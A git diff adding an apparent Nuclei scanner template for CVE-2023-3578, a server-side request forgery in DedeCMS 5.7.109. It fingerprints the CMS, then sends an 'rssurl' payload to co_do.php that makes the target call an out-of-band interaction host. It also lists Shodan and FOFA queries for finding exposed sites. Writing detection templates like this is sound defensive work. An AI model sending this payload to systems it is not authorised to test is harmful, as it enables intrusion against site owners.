diff --git a/http/cves/2023/CVE-2023-3578.yaml b/http/cves/2023/CVE-2023-3578.yaml
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+id: CVE-2023-3578
+
+info:
+  name: DedeCMS 5.7.109 - Server-Side Request Forgery
+  author: ritikchaddha
+  severity: critical
+  description: |
+    Manipulation of the rssurl parameter in co_do.php leads to server-side request forgery in DedeCMS version 5.7.109.
+  impact: |
+    Successful exploitation could lead to sensitive data exposure, server-side request forgery, and potential server compromise.
+  remediation: |
+    Apply the vendor-supplied patch or update to a non-vulnerable version of DedeCMS.
+  reference:
+    - https://github.com/nightcloudos/cve/blob/main/SSRF.md
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-3578
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2023-3578
+    cwe-id: CWE-918
+    epss-score: 0.00063
+    epss-percentile: 0.26288
+    cpe: cpe:2.3:a:dedecms:dedecms:5.7.109:*:*:*:*:*:*:*
+  metadata:
+    vendor: dedecms
+    product: dedecms
+    shodan-query: http.html:"DedeCms"
+    fofa-query: app="DedeCMS"
+  tags: cve,cve2023,dedecms,ssrf,oast
+
+flow: http(1) && http(2)
+
+http:
+  - raw:
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+
+    host-redirects: true
+    max-redirects: 2
+    matchers:
+      - type: word
+        part: response
+        words:
+          - "DedeCms"
+        case-insensitive: true
+
+  - raw:
+      - |
+        GET /co_do.php?rssurl=https://{{interactsh-url}} HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: word
+        part: interactsh_protocol
+        words:
+          - "dns"
+          - "http"